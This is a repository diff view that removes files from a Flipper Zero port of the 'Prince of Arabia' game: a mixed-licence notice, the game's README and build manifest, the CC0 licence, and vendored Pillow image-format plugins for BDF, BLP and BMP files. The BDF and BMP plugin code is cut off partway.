2. License for Apfxtech Original Contributions
Except for Upstream-Derived Materials, Third-Party Components, trademarks, trade
dress, and any other rights not expressly granted, Apfxtech licenses the
Original Contributions under the BSD 3-Clause License reproduced below.
BSD 3-Clause License
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
3. Terms for Upstream-Derived Materials
Upstream-Derived Materials are not relicensed by Apfxtech under BSD 3-Clause.
Upstream-Derived Materials included in this repository or in binaries built from
this repository are distributed only under separate permission limited to the
Flipper Zero platform.
Accordingly, unless you have additional permission directly from the relevant
rights holders, you may not:
1. redistribute Upstream-Derived Materials for Arduboy or any platform other
than Flipper Zero;
2. use this file as a basis to claim that the whole repository or the whole
binary is open source;
3. remove the platform limitation applicable to Upstream-Derived Materials; or
4. sublicense Upstream-Derived Materials under BSD 3-Clause, MIT, GPL, or any
other open-source license.
If you redistribute a source tree, release archive, package, or binary
containing Upstream-Derived Materials, that redistribution is authorized only
for Flipper Zero versions of this project and only together with this license
file and any other applicable notices.
4. Combined Source Trees and Binaries
This repository and its build outputs may contain both:
1. Original Contributions licensed under BSD 3-Clause; and
2. Upstream-Derived Materials distributed only for Flipper Zero under separate
permission.
For that reason, the repository as a whole, and binaries as a whole, must not
be described as being entirely under BSD 3-Clause or any other single
open-source license.
5. Third-Party Components
Third-Party Components keep their own license terms. Those terms apply in
addition to this file where relevant.
6. No Trademark License
No trademark or trade dress rights are granted by this file.
7. If You Need Broader Rights
If you need rights broader than those granted above, including rights to use or
redistribute Upstream-Derived Materials outside the Flipper Zero platform, you
must obtain permission from the relevant rights holders.

View File

@@ -1,61 +0,0 @@
# FlipperPrinceOfArabia
Inspired by a timeless classic, Press-Play-On-Tape presents 'Prince of Arabia'!
Escape the dungeons and free the princess!
![s1](package/distributable/Level1RunThroughX2.gif)
## Controls
<kbd>🅐</kbd>
<kbd>🅑</kbd>
<kbd>▲</kbd>
<kbd>▼</kbd>
<kbd>◄</kbd>
<kbd>►</kbd>
**Running**
**Jumping** — Press <kbd>🅐</kbd> to jump over obstacles. For longer jumps, run and jump <kbd>🅐</kbd>+<kbd>◄</kbd>/<kbd>►</kbd>.
**Climbing**
**Dropping** — Drop and pull-up.
**Squatting** — Ducking down. Shuffling along.
**In game menu** — Press <kbd>🅑</kbd> to select the in game menu. This allows you to...
## Objects
**Sword** — Crouch down and pickup with <kbd>🅐</kbd> to collect the sword. When an enemy appears, press <kbd>🅑</kbd> to unsheathe the sword and start fighting. It is not possible to bring-up the menu (or save the game!) during a fight. During a fight, press <kbd>🅐</kbd> to sheath sword. It is not possible to jump while the sword is drawn.
**Potions** — Crouch down and pickup with 'A' to drink. Some give life, but some may take life!
## Navigating the palace
**Floor switches** — Open/closing. To activate stand on a tile, or some weight must be applied. Switches may reset after a certain amount of time.
**Falling tiles** — Step on (from above). Can be triggered from below.
**Deadly spikes** — Jump over these traps or move very carefully to avoid a spiky end!
## Enemies
- **Guards**
- **Skeletons**
- **Shadowy figures** — Legend tells, that these forbidden corridors will reveal our darkest side.
## Credits
Concept: Jordan Mechner.
Development: @filmote, @MrBlinky (/Mr.Blinky), @ace-dent (/acedent)
Graphics: /clintonium-119, @vampirics
Music: @ajsaucier (/raspberrybrain)
Flipper port: @apfxtech
## Licensing
This project uses mixed licensing and distribution terms.
Read the root [LICENSE](LICENSE) in full before using.
# Original
**Press-Play-On-Tape** [Prince of Arabia](https://github.com/Press-Play-On-Tape/PrinceOfArabia.git)

View File

@@ -1,47 +0,0 @@
SOURCES = [
"main.cpp",
"game/ArduboyFX.cpp",
"src/ArduboyTonesFX.cpp",
"src/utils/Arduboy2Ext.cpp",
"src/fonts/Font3x5.cpp",
"lib/scr/*.cpp",
]
CDEFINES_BASE = [
"ARDULIB_USE_FX",
"ARDULIB_USE_TONES",
"ARDULIB_SWAP_AB",
]
CDEFINES_EX = CDEFINES_BASE + ["ARDULIB_USE_VIEW_PORT"]
COMMON_ARGS = {
"apptype": FlipperAppType.EXTERNAL,
"entry_point": "arduboy_app",
"sources": SOURCES,
"requires": ["gui"],
"stack_size": 8 * 1024,
"fap_category": "Games",
"fap_icon": "icon.png",
"order": 36,
"fap_author": "@apfxtech",
"fap_weburl": "https://github.com/apfxtech/FlipperPrinceOfArabia.git",
"fap_version": "1.0",
"fap_description": "Escape the dungeons and free the princess!",
}
App(
appid="princeofarabia",
name="Prince Of Arabia",
cdefines=CDEFINES_BASE,
fap_file_assets="assets/POA",
**COMMON_ARGS
)
App(
appid="princeofarabia_ex",
name="Prince Of Arabia Experemental",
cdefines=CDEFINES_EX,
fap_file_assets="assets/POA",
**COMMON_ARGS
)

View File

@@ -1,121 +0,0 @@
Creative Commons Legal Code
CC0 1.0 Universal
CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE
LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN
ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS
INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES
REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS
PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM
THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED
HEREUNDER.
Statement of Purpose
The laws of most jurisdictions throughout the world automatically confer
exclusive Copyright and Related Rights (defined below) upon the creator
and subsequent owner(s) (each and all, an "owner") of an original work of
authorship and/or a database (each, a "Work").
Certain owners wish to permanently relinquish those rights to a Work for
the purpose of contributing to a commons of creative, cultural and
scientific works ("Commons") that the public can reliably and without fear
of later claims of infringement build upon, modify, incorporate in other
works, reuse and redistribute as freely as possible in any form whatsoever
and for any purposes, including without limitation commercial purposes.
These owners may contribute to the Commons to promote the ideal of a free
culture and the further production of creative, cultural and scientific
works, or to gain reputation or greater distribution for their Work in
part through the use and efforts of others.
For these and/or other purposes and motivations, and without any
expectation of additional consideration or compensation, the person
associating CC0 with a Work (the "Affirmer"), to the extent that he or she
is an owner of Copyright and Related Rights in the Work, voluntarily
elects to apply CC0 to the Work and publicly distribute the Work under its
terms, with knowledge of his or her Copyright and Related Rights in the
Work and the meaning and intended legal effect of CC0 on those rights.
1. Copyright and Related Rights. A Work made available under CC0 may be
protected by copyright and related or neighboring rights ("Copyright and
Related Rights"). Copyright and Related Rights include, but are not
limited to, the following:
i. the right to reproduce, adapt, distribute, perform, display,
communicate, and translate a Work;
ii. moral rights retained by the original author(s) and/or performer(s);
iii. publicity and privacy rights pertaining to a person's image or
likeness depicted in a Work;
iv. rights protecting against unfair competition in regards to a Work,
subject to the limitations in paragraph 4(a), below;
v. rights protecting the extraction, dissemination, use and reuse of data
in a Work;
vi. database rights (such as those arising under Directive 96/9/EC of the
European Parliament and of the Council of 11 March 1996 on the legal
protection of databases, and under any national implementation
thereof, including any amended or successor version of such
directive); and
vii. other similar, equivalent or corresponding rights throughout the
world based on applicable law or treaty, and any national
implementations thereof.
2. Waiver. To the greatest extent permitted by, but not in contravention
of, applicable law, Affirmer hereby overtly, fully, permanently,
irrevocably and unconditionally waives, abandons, and surrenders all of
Affirmer's Copyright and Related Rights and associated claims and causes
of action, whether now known or unknown (including existing as well as
future claims and causes of action), in the Work (i) in all territories
worldwide, (ii) for the maximum duration provided by applicable law or
treaty (including future time extensions), (iii) in any current or future
medium and for any number of copies, and (iv) for any purpose whatsoever,
including without limitation commercial, advertising or promotional
purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each
member of the public at large and to the detriment of Affirmer's heirs and
successors, fully intending that such Waiver shall not be subject to
revocation, rescission, cancellation, termination, or any other legal or
equitable action to disrupt the quiet enjoyment of the Work by the public
as contemplated by Affirmer's express Statement of Purpose.
3. Public License Fallback. Should any part of the Waiver for any reason
be judged legally invalid or ineffective under applicable law, then the
Waiver shall be preserved to the maximum extent permitted taking into
account Affirmer's express Statement of Purpose. In addition, to the
extent the Waiver is so judged Affirmer hereby grants to each affected
person a royalty-free, non transferable, non sublicensable, non exclusive,
irrevocable and unconditional license to exercise Affirmer's Copyright and
Related Rights in the Work (i) in all territories worldwide, (ii) for the
maximum duration provided by applicable law or treaty (including future
time extensions), (iii) in any current or future medium and for any number
of copies, and (iv) for any purpose whatsoever, including without
limitation commercial, advertising or promotional purposes (the
"License"). The License shall be deemed effective as of the date CC0 was
applied by Affirmer to the Work. Should any part of the License for any
reason be judged legally invalid or ineffective under applicable law, such
partial invalidity or ineffectiveness shall not invalidate the remainder
of the License, and in such case Affirmer hereby affirms that he or she
will not (i) exercise any of his or her remaining Copyright and Related
Rights in the Work or (ii) assert any associated claims and causes of
action with respect to the Work, in either case contrary to Affirmer's
express Statement of Purpose.
4. Limitations and Disclaimers.
a. No trademark or patent rights held by Affirmer are waived, abandoned,
surrendered, licensed or otherwise affected by this document.
b. Affirmer offers the Work as-is and makes no representations or
warranties of any kind concerning the Work, express, implied,
statutory or otherwise, including without limitation warranties of
title, merchantability, fitness for a particular purpose, non
infringement, or the absence of latent or other defects, accuracy, or
the present or absence of errors, whether or not discoverable, all to
the greatest extent permissible under applicable law.
c. Affirmer disclaims responsibility for clearing rights of other persons
that may apply to the Work or any use thereof, including without
limitation any person's Copyright and Related Rights in the Work.
Further, Affirmer disclaims responsibility for obtaining any necessary
consents, permissions or other rights required for any use of the
Work.
d. Affirmer understands and acknowledges that Creative Commons is not a
party to this document and has no duty or obligation with respect to
this CC0 or use of the Work.

View File

@@ -1,110 +0,0 @@
#
# The Python Imaging Library
# $Id$
#
# bitmap distribution font (bdf) file parser
#
# history:
# 1996-05-16 fl created (as bdf2pil)
# 1997-08-25 fl converted to FontFile driver
# 2001-05-25 fl removed bogus __init__ call
# 2002-11-20 fl robustification (from Kevin Cazabon, Dmitry Vasiliev)
# 2003-04-22 fl more robustification (from Graham Dumpleton)
#
# Copyright (c) 1997-2003 by Secret Labs AB.
# Copyright (c) 1997-2003 by Fredrik Lundh.
#
# See the README file for information on usage and redistribution.
#
"""
Parse X Bitmap Distribution Format (BDF)
"""
from . import FontFile, Image
bdf_slant = {
"R": "Roman",
"I": "Italic",
"O": "Oblique",
"RI": "Reverse Italic",
"RO": "Reverse Oblique",
"OT": "Other",
}
bdf_spacing = {"P": "Proportional", "M": "Monospaced", "C": "Cell"}
def bdf_char(f):
# skip to STARTCHAR
while True:
s = f.readline()
if not s:
return None
if s[:9] == b"STARTCHAR":
break
id = s[9:].strip().decode("ascii")
# load symbol properties
props = {}
while True:
s = f.readline()
if not s or s[:6] == b"BITMAP":
break
i = s.find(b" ")
props[s[:i].decode("ascii")] = s[i + 1 : -1].decode("ascii")
# load bitmap
bitmap = []
while True:
s = f.readline()
if not s or s[:7] == b"ENDCHAR":
break
bitmap.append(s[:-1])
bitmap = b"".join(bitmap)
[x, y, l, d] = [int(p) for p in props["BBX"].split()]
[dx, dy] = [int(p) for p in props["DWIDTH"].split()]
bbox = (dx, dy), (l, -d - y, x + l, -d), (0, 0, x, y)
try:
im = Image.frombytes("1", (x, y), bitmap, "hex", "1")
except ValueError:
# deal with zero-width characters
im = Image.new("1", (x, y))
return id, int(props["ENCODING"]), bbox, im
class BdfFontFile(FontFile.FontFile):
"""Font file plugin for the X11 BDF format."""
def __init__(self, fp):
super().__init__()
s = fp.readline()
if s[:13] != b"STARTFONT 2.1":
raise SyntaxError("not a valid BDF file")
props = {}
comments = []
while True:
s = fp.readline()
if not s or s[:13] == b"ENDPROPERTIES":
break
i = s.find(b" ")
props[s[:i].decode("ascii")] = s[i + 1 : -1].decode("ascii")
if s[:i] in [b"COMMENT", b"COPYRIGHT"]:
if s.find(b"LogicalFontDescription") < 0:
comments.append(s[i + 1 : -1].decode("ascii"))
while True:
c = bdf_char(fp)
if not c:
break
id, ch, (xy, dst, src), im = c
if 0 <= ch < len(self.glyph):
self.glyph[ch] = xy, dst, src, im

View File

@@ -1,484 +0,0 @@
"""
Blizzard Mipmap Format (.blp)
Jerome Leclanche <jerome@leclan.ch>
The contents of this file are hereby released in the public domain (CC0)
Full text of the CC0 license:
https://creativecommons.org/publicdomain/zero/1.0/
BLP1 files, used mostly in Warcraft III, are not fully supported.
All types of BLP2 files used in World of Warcraft are supported.
The BLP file structure consists of a header, up to 16 mipmaps of the
texture
Texture sizes must be powers of two, though the two dimensions do
not have to be equal; 512x256 is valid, but 512x200 is not.
The first mipmap (mipmap #0) is the full size image; each subsequent
mipmap halves both dimensions. The final mipmap should be 1x1.
BLP files come in many different flavours:
* JPEG-compressed (type == 0) - only supported for BLP1.
* RAW images (type == 1, encoding == 1). Each mipmap is stored as an
array of 8-bit values, one per pixel, left to right, top to bottom.
Each value is an index to the palette.
* DXT-compressed (type == 1, encoding == 2):
- DXT1 compression is used if alpha_encoding == 0.
- An additional alpha bit is used if alpha_depth == 1.
- DXT3 compression is used if alpha_encoding == 1.
- DXT5 compression is used if alpha_encoding == 7.
"""
import os
import struct
from enum import IntEnum
from io import BytesIO
from . import Image, ImageFile
from ._deprecate import deprecate
class Format(IntEnum):
JPEG = 0
class Encoding(IntEnum):
UNCOMPRESSED = 1
DXT = 2
UNCOMPRESSED_RAW_BGRA = 3
class AlphaEncoding(IntEnum):
DXT1 = 0
DXT3 = 1
DXT5 = 7
def __getattr__(name):
for enum, prefix in {
Format: "BLP_FORMAT_",
Encoding: "BLP_ENCODING_",
AlphaEncoding: "BLP_ALPHA_ENCODING_",
}.items():
if name.startswith(prefix):
name = name[len(prefix) :]
if name in enum.__members__:
deprecate(f"{prefix}{name}", 10, f"{enum.__name__}.{name}")
return enum[name]
raise AttributeError(f"module '{__name__}' has no attribute '{name}'")
def unpack_565(i):
return ((i >> 11) & 0x1F) << 3, ((i >> 5) & 0x3F) << 2, (i & 0x1F) << 3
def decode_dxt1(data, alpha=False):
"""
input: one "row" of data (i.e. will produce 4*width pixels)
"""
blocks = len(data) // 8 # number of blocks in row
ret = (bytearray(), bytearray(), bytearray(), bytearray())
for block in range(blocks):
# Decode next 8-byte block.
idx = block * 8
color0, color1, bits = struct.unpack_from("<HHI", data, idx)
r0, g0, b0 = unpack_565(color0)
r1, g1, b1 = unpack_565(color1)
# Decode this block into 4x4 pixels
# Accumulate the results onto our 4 row accumulators
for j in range(4):
for i in range(4):
# get next control op and generate a pixel
control = bits & 3
bits = bits >> 2
a = 0xFF
if control == 0:
r, g, b = r0, g0, b0
elif control == 1:
r, g, b = r1, g1, b1
elif control == 2:
if color0 > color1:
r = (2 * r0 + r1) // 3
g = (2 * g0 + g1) // 3
b = (2 * b0 + b1) // 3
else:
r = (r0 + r1) // 2
g = (g0 + g1) // 2
b = (b0 + b1) // 2
elif control == 3:
if color0 > color1:
r = (2 * r1 + r0) // 3
g = (2 * g1 + g0) // 3
b = (2 * b1 + b0) // 3
else:
r, g, b, a = 0, 0, 0, 0
if alpha:
ret[j].extend([r, g, b, a])
else:
ret[j].extend([r, g, b])
return ret
def decode_dxt3(data):
"""
input: one "row" of data (i.e. will produce 4*width pixels)
"""
blocks = len(data) // 16 # number of blocks in row
ret = (bytearray(), bytearray(), bytearray(), bytearray())
for block in range(blocks):
idx = block * 16
block = data[idx : idx + 16]
# Decode next 16-byte block.
bits = struct.unpack_from("<8B", block)
color0, color1 = struct.unpack_from("<HH", block, 8)
(code,) = struct.unpack_from("<I", block, 12)
r0, g0, b0 = unpack_565(color0)
r1, g1, b1 = unpack_565(color1)
for j in range(4):
high = False # Do we want the higher bits?
for i in range(4):
alphacode_index = (4 * j + i) // 2
a = bits[alphacode_index]
if high:
high = False
a >>= 4
else:
high = True
a &= 0xF
a *= 17 # We get a value between 0 and 15
color_code = (code >> 2 * (4 * j + i)) & 0x03
if color_code == 0:
r, g, b = r0, g0, b0
elif color_code == 1:
r, g, b = r1, g1, b1
elif color_code == 2:
r = (2 * r0 + r1) // 3
g = (2 * g0 + g1) // 3
b = (2 * b0 + b1) // 3
elif color_code == 3:
r = (2 * r1 + r0) // 3
g = (2 * g1 + g0) // 3
b = (2 * b1 + b0) // 3
ret[j].extend([r, g, b, a])
return ret
def decode_dxt5(data):
"""
input: one "row" of data (i.e. will produce 4 * width pixels)
"""
blocks = len(data) // 16 # number of blocks in row
ret = (bytearray(), bytearray(), bytearray(), bytearray())
for block in range(blocks):
idx = block * 16
block = data[idx : idx + 16]
# Decode next 16-byte block.
a0, a1 = struct.unpack_from("<BB", block)
bits = struct.unpack_from("<6B", block, 2)
alphacode1 = bits[2] | (bits[3] << 8) | (bits[4] << 16) | (bits[5] << 24)
alphacode2 = bits[0] | (bits[1] << 8)
color0, color1 = struct.unpack_from("<HH", block, 8)
(code,) = struct.unpack_from("<I", block, 12)
r0, g0, b0 = unpack_565(color0)
r1, g1, b1 = unpack_565(color1)
for j in range(4):
for i in range(4):
# get next control op and generate a pixel
alphacode_index = 3 * (4 * j + i)
if alphacode_index <= 12:
alphacode = (alphacode2 >> alphacode_index) & 0x07
elif alphacode_index == 15:
alphacode = (alphacode2 >> 15) | ((alphacode1 << 1) & 0x06)
else: # alphacode_index >= 18 and alphacode_index <= 45
alphacode = (alphacode1 >> (alphacode_index - 16)) & 0x07
if alphacode == 0:
a = a0
elif alphacode == 1:
a = a1
elif a0 > a1:
a = ((8 - alphacode) * a0 + (alphacode - 1) * a1) // 7
elif alphacode == 6:
a = 0
elif alphacode == 7:
a = 255
else:
a = ((6 - alphacode) * a0 + (alphacode - 1) * a1) // 5
color_code = (code >> 2 * (4 * j + i)) & 0x03
if color_code == 0:
r, g, b = r0, g0, b0
elif color_code == 1:
r, g, b = r1, g1, b1
elif color_code == 2:
r = (2 * r0 + r1) // 3
g = (2 * g0 + g1) // 3
b = (2 * b0 + b1) // 3
elif color_code == 3:
r = (2 * r1 + r0) // 3
g = (2 * g1 + g0) // 3
b = (2 * b1 + b0) // 3
ret[j].extend([r, g, b, a])
return ret
class BLPFormatError(NotImplementedError):
pass
def _accept(prefix):
return prefix[:4] in (b"BLP1", b"BLP2")
class BlpImageFile(ImageFile.ImageFile):
"""
Blizzard Mipmap Format
"""
format = "BLP"
format_description = "Blizzard Mipmap Format"
def _open(self):
self.magic = self.fp.read(4)
self.fp.seek(5, os.SEEK_CUR)
(self._blp_alpha_depth,) = struct.unpack("<b", self.fp.read(1))
self.fp.seek(2, os.SEEK_CUR)
self._size = struct.unpack("<II", self.fp.read(8))
if self.magic in (b"BLP1", b"BLP2"):
decoder = self.magic.decode()
else:
raise BLPFormatError(f"Bad BLP magic {repr(self.magic)}")
self.mode = "RGBA" if self._blp_alpha_depth else "RGB"
self.tile = [(decoder, (0, 0) + self.size, 0, (self.mode, 0, 1))]
class _BLPBaseDecoder(ImageFile.PyDecoder):
_pulls_fd = True
def decode(self, buffer):
try:
self._read_blp_header()
self._load()
except struct.error as e:
raise OSError("Truncated BLP file") from e
return -1, 0
def _read_blp_header(self):
self.fd.seek(4)
(self._blp_compression,) = struct.unpack("<i", self._safe_read(4))
(self._blp_encoding,) = struct.unpack("<b", self._safe_read(1))
(self._blp_alpha_depth,) = struct.unpack("<b", self._safe_read(1))
(self._blp_alpha_encoding,) = struct.unpack("<b", self._safe_read(1))
self.fd.seek(1, os.SEEK_CUR) # mips
self.size = struct.unpack("<II", self._safe_read(8))
if isinstance(self, BLP1Decoder):
# Only present for BLP1
(self._blp_encoding,) = struct.unpack("<i", self._safe_read(4))
self.fd.seek(4, os.SEEK_CUR) # subtype
self._blp_offsets = struct.unpack("<16I", self._safe_read(16 * 4))
self._blp_lengths = struct.unpack("<16I", self._safe_read(16 * 4))
def _safe_read(self, length):
return ImageFile._safe_read(self.fd, length)
def _read_palette(self):
ret = []
for i in range(256):
try:
b, g, r, a = struct.unpack("<4B", self._safe_read(4))
except struct.error:
break
ret.append((b, g, r, a))
return ret
def _read_bgra(self, palette):
data = bytearray()
_data = BytesIO(self._safe_read(self._blp_lengths[0]))
while True:
try:
(offset,) = struct.unpack("<B", _data.read(1))
except struct.error:
break
b, g, r, a = palette[offset]
d = (r, g, b)
if self._blp_alpha_depth:
d += (a,)
data.extend(d)
return data
class BLP1Decoder(_BLPBaseDecoder):
def _load(self):
if self._blp_compression == Format.JPEG:
self._decode_jpeg_stream()
elif self._blp_compression == 1:
if self._blp_encoding in (4, 5):
palette = self._read_palette()
data = self._read_bgra(palette)
self.set_as_raw(bytes(data))
else:
raise BLPFormatError(
f"Unsupported BLP encoding {repr(self._blp_encoding)}"
)
else:
raise BLPFormatError(
f"Unsupported BLP compression {repr(self._blp_encoding)}"
)
def _decode_jpeg_stream(self):
from .JpegImagePlugin import JpegImageFile
(jpeg_header_size,) = struct.unpack("<I", self._safe_read(4))
jpeg_header = self._safe_read(jpeg_header_size)
self._safe_read(self._blp_offsets[0] - self.fd.tell()) # What IS this?
data = self._safe_read(self._blp_lengths[0])
data = jpeg_header + data
data = BytesIO(data)
image = JpegImageFile(data)
Image._decompression_bomb_check(image.size)
r, g, b = image.convert("RGB").split()
image = Image.merge("RGB", (b, g, r))
self.set_as_raw(image.tobytes())
class BLP2Decoder(_BLPBaseDecoder):
def _load(self):
palette = self._read_palette()
self.fd.seek(self._blp_offsets[0])
if self._blp_compression == 1:
# Uncompressed or DirectX compression
if self._blp_encoding == Encoding.UNCOMPRESSED:
data = self._read_bgra(palette)
elif self._blp_encoding == Encoding.DXT:
data = bytearray()
if self._blp_alpha_encoding == AlphaEncoding.DXT1:
linesize = (self.size[0] + 3) // 4 * 8
for yb in range((self.size[1] + 3) // 4):
for d in decode_dxt1(
self._safe_read(linesize), alpha=bool(self._blp_alpha_depth)
):
data += d
elif self._blp_alpha_encoding == AlphaEncoding.DXT3:
linesize = (self.size[0] + 3) // 4 * 16
for yb in range((self.size[1] + 3) // 4):
for d in decode_dxt3(self._safe_read(linesize)):
data += d
elif self._blp_alpha_encoding == AlphaEncoding.DXT5:
linesize = (self.size[0] + 3) // 4 * 16
for yb in range((self.size[1] + 3) // 4):
for d in decode_dxt5(self._safe_read(linesize)):
data += d
else:
raise BLPFormatError(
f"Unsupported alpha encoding {repr(self._blp_alpha_encoding)}"
)
else:
raise BLPFormatError(f"Unknown BLP encoding {repr(self._blp_encoding)}")
else:
raise BLPFormatError(
f"Unknown BLP compression {repr(self._blp_compression)}"
)
self.set_as_raw(bytes(data))
class BLPEncoder(ImageFile.PyEncoder):
_pushes_fd = True
def _write_palette(self):
data = b""
palette = self.im.getpalette("RGBA", "RGBA")
for i in range(256):
r, g, b, a = palette[i * 4 : (i + 1) * 4]
data += struct.pack("<4B", b, g, r, a)
return data
def encode(self, bufsize):
palette_data = self._write_palette()
offset = 20 + 16 * 4 * 2 + len(palette_data)
data = struct.pack("<16I", offset, *((0,) * 15))
w, h = self.im.size
data += struct.pack("<16I", w * h, *((0,) * 15))
data += palette_data
for y in range(h):
for x in range(w):
data += struct.pack("<B", self.im.getpixel((x, y)))
return len(data), 0, data
def _save(im, fp, filename, save_all=False):
if im.mode != "P":
raise ValueError("Unsupported BLP image mode")
magic = b"BLP1" if im.encoderinfo.get("blp_version") == "BLP1" else b"BLP2"
fp.write(magic)
fp.write(struct.pack("<i", 1)) # Uncompressed or DirectX compression
fp.write(struct.pack("<b", Encoding.UNCOMPRESSED))
fp.write(struct.pack("<b", 1 if im.palette.mode == "RGBA" else 0))
fp.write(struct.pack("<b", 0)) # alpha encoding
fp.write(struct.pack("<b", 0)) # mips
fp.write(struct.pack("<II", *im.size))
if magic == b"BLP1":
fp.write(struct.pack("<i", 5))
fp.write(struct.pack("<i", 0))
ImageFile._save(im, fp, [("BLP", (0, 0) + im.size, 0, im.mode)])
Image.register_open(BlpImageFile.format, BlpImageFile, _accept)
Image.register_extension(BlpImageFile.format, ".blp")
Image.register_decoder("BLP1", BLP1Decoder)
Image.register_decoder("BLP2", BLP2Decoder)
Image.register_save(BlpImageFile.format, _save)
Image.register_encoder("BLP", BLPEncoder)

View File

@@ -1,464 +0,0 @@
#
# The Python Imaging Library.
# $Id$
#
# BMP file handler
#
# Windows (and OS/2) native bitmap storage format.
#
# history:
# 1995-09-01 fl Created
# 1996-04-30 fl Added save
# 1997-08-27 fl Fixed save of 1-bit images
# 1998-03-06 fl Load P images as L where possible
# 1998-07-03 fl Load P images as 1 where possible
# 1998-12-29 fl Handle small palettes
# 2002-12-30 fl Fixed load of 1-bit palette images
# 2003-04-21 fl Fixed load of 1-bit monochrome images
# 2003-04-23 fl Added limited support for BI_BITFIELDS compression
#
# Copyright (c) 1997-2003 by Secret Labs AB
# Copyright (c) 1995-2003 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#
import os
from . import Image, ImageFile, ImagePalette
from ._binary import i16le as i16
from ._binary import i32le as i32
from ._binary import o8
from ._binary import o16le as o16
from ._binary import o32le as o32
#
# --------------------------------------------------------------------
# Read BMP file
BIT2MODE = {
# bits => mode, rawmode
1: ("P", "P;1"),
4: ("P", "P;4"),
8: ("P", "P"),
16: ("RGB", "BGR;15"),
24: ("RGB", "BGR"),
32: ("RGB", "BGRX"),
}
def _accept(prefix):
return prefix[:2] == b"BM"
def _dib_accept(prefix):
return i32(prefix) in [12, 40, 64, 108, 124]
# =============================================================================
# Image plugin for the Windows BMP format.
# =============================================================================
class BmpImageFile(ImageFile.ImageFile):
"""Image plugin for the Windows Bitmap format (BMP)"""
# ------------------------------------------------------------- Description
format_description = "Windows Bitmap"
format = "BMP"
# -------------------------------------------------- BMP Compression values
COMPRESSIONS = {"RAW": 0, "RLE8": 1, "RLE4": 2, "BITFIELDS": 3, "JPEG": 4, "PNG": 5}
for k, v in COMPRESSIONS.items():
vars()[k] = v
def _bitmap(self, header=0, offset=0):
"""Read relevant info about the BMP"""
read, seek = self.fp.read, self.fp.seek
if header:
seek(header)
# read bmp header size @offset 14 (this is part of the header size)
file_info = {"header_size": i32(read(4)), "direction": -1}
# -------------------- If requested, read header at a specific position
# read the rest of the bmp header, without its size
header_data = ImageFile._safe_read(self.fp, file_info["header_size"] - 4)
# -------------------------------------------------- IBM OS/2 Bitmap v1
# ----- This format has different offsets because of width/height types
if file_info["header_size"] == 12:
file_info["width"] = i16(header_data, 0)
file_info["height"] = i16(header_data, 2)
file_info["planes"] = i16(header_data, 4)
file_info["bits"] = i16(header_data, 6)
file_info["compression"] = self.RAW
file_info["palette_padding"] = 3
# --------------------------------------------- Windows Bitmap v2 to v5
# v3, OS/2 v2, v4, v5
elif file_info["header_size"] in (40, 64, 108, 124):
file_info["y_flip"] = header_data[7] == 0xFF
file_info["direction"] = 1 if file_info["y_flip"] else -1
file_info["width"] = i32(header_data, 0)
file_info["height"] = (
i32(header_data, 4)
if not file_info["y_flip"]
else 2**32 - i32(header_data, 4)
)
file_info["planes"] = i16(header_data, 8)
file_info["bits"] = i16(header_data, 10)
file_info["compression"] = i32(header_data, 12)
# byte size of pixel data
file_info["data_size"] = i32(header_data, 16)
file_info["pixels_per_meter"] = (
i32(header_data, 20),
i32(header_data, 24),
)
file_info["colors"] = i32(header_data, 28)
file_info["palette_padding"] = 4
self.info["dpi"] = tuple(x / 39.3701 for x in file_info["pixels_per_meter"])
if file_info["compression"] == self.BITFIELDS:
if len(header_data) >= 52:
for idx, mask in enumerate(
["r_mask", "g_mask", "b_mask", "a_mask"]
):
file_info[mask] = i32(header_data, 36 + idx * 4)
else:
# 40 byte headers only have the three components in the
# bitfields masks, ref:
# https://msdn.microsoft.com/en-us/library/windows/desktop/dd183376(v=vs.85).aspx
# See also
# https://github.com/python-pillow/Pillow/issues/1293
# There is a 4th component in the RGBQuad, in the alpha
# location, but it is listed as a reserved component,
# and it is not generally an alpha channel
file_info["a_mask"] = 0x0
for mask in ["r_mask", "g_mask", "b_mask"]:
file_info[mask] = i32(read(4))
file_info["rgb_mask"] = (
file_info["r_mask"],
file_info["g_mask"],
file_info["b_mask"],
)
file_info["rgba_mask"] = (
file_info["r_mask"],
file_info["g_mask"],
file_info["b_mask"],
file_info["a_mask"],
)
else:
raise OSError(f"Unsupported BMP header type ({file_info['header_size']})")
# ------------------ Special case : header is reported 40, which
# ---------------------- is shorter than real size for bpp >= 16
self._size = file_info["width"], file_info["height"]
# ------- If color count was not found in the header, compute from bits
file_info["colors"] = (
file_info["colors"]
if file_info.get("colors", 0)
else (1 << file_info["bits"])
)
if offset == 14 + file_info["header_size"] and file_info["bits"] <= 8:
offset += 4 * file_info["colors"]
